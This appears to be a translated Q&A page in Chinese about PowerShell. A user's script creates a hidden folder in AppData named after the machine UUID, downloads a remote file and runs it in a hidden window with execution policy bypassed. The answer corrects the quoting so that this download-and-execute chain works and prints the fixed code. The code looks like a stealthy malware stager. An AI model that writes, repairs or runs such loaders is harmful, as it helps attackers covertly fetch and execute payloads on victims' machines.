powershell - 使用 Powershell 从创建的文件夹执行脚本
问题描述
在powershell中,我可以在特定的随机名称创建的文件夹中下载脚本,但我找不到从那里执行脚本的正确方法。这是我使用的代码:
$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID;
$path = $env:appdata+'\'+$uuid; $h=$path+'\d';
if(!(test-path $path)) { New-Item -ItemType Directory -Force -Path
$path;};
Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt;
start-process -Windowstyle hidden cmd '/C
'powershell.exe' -exec bypass $path\\test.txt';
如果我也使用'+$path+',最后一个字符串中缺少一些东西可能问题仍然存在。
有什么建议么??
解决方案
问题是最后两行的单引号。由于您已将其括$path
在单引号中,因此它不会被扩展,而是按字面意思理解。更改为双引号以扩展变量,这应该可以。
$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID
$path = $env:appdata+'\'+$uuid
$h=$path+'\d'
if(!(test-path $path)) {
New-Item -ItemType Directory -Force -Path $path
}
Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt
start-process -Windowstyle hidden cmd "/C 'powershell.exe' -exec bypass $path\\test.txt"
推荐阅读
- javascript - jquery从日期列表中获取最大日期并插入单元格
- apache-spark - Spark 从字符串中提取值并分配为列
- java - 使用数组而不使用递归技术的斐波那契数列
- java - 使用 CXF 转换功能修改传入的 Web 服务响应
- php - 为什么 Wordpress 不上传我的文件?$_FILE 始终为空
- java - 给定范围时,随机数生成器始终返回 0
- python - 如何将大列表分割成子列表,以便每个子列表都包含原始列表的一部分?
- javascript - 如何修复“无法设置未定义的属性”?
- bootstrap-4 - Bootstrap4 模态中的 JWPlayer 失去焦点
- java - 我可以将 Derby EmbeddedDriver 与 Java 教程中指定的 CachedRowSet 示例一起使用吗?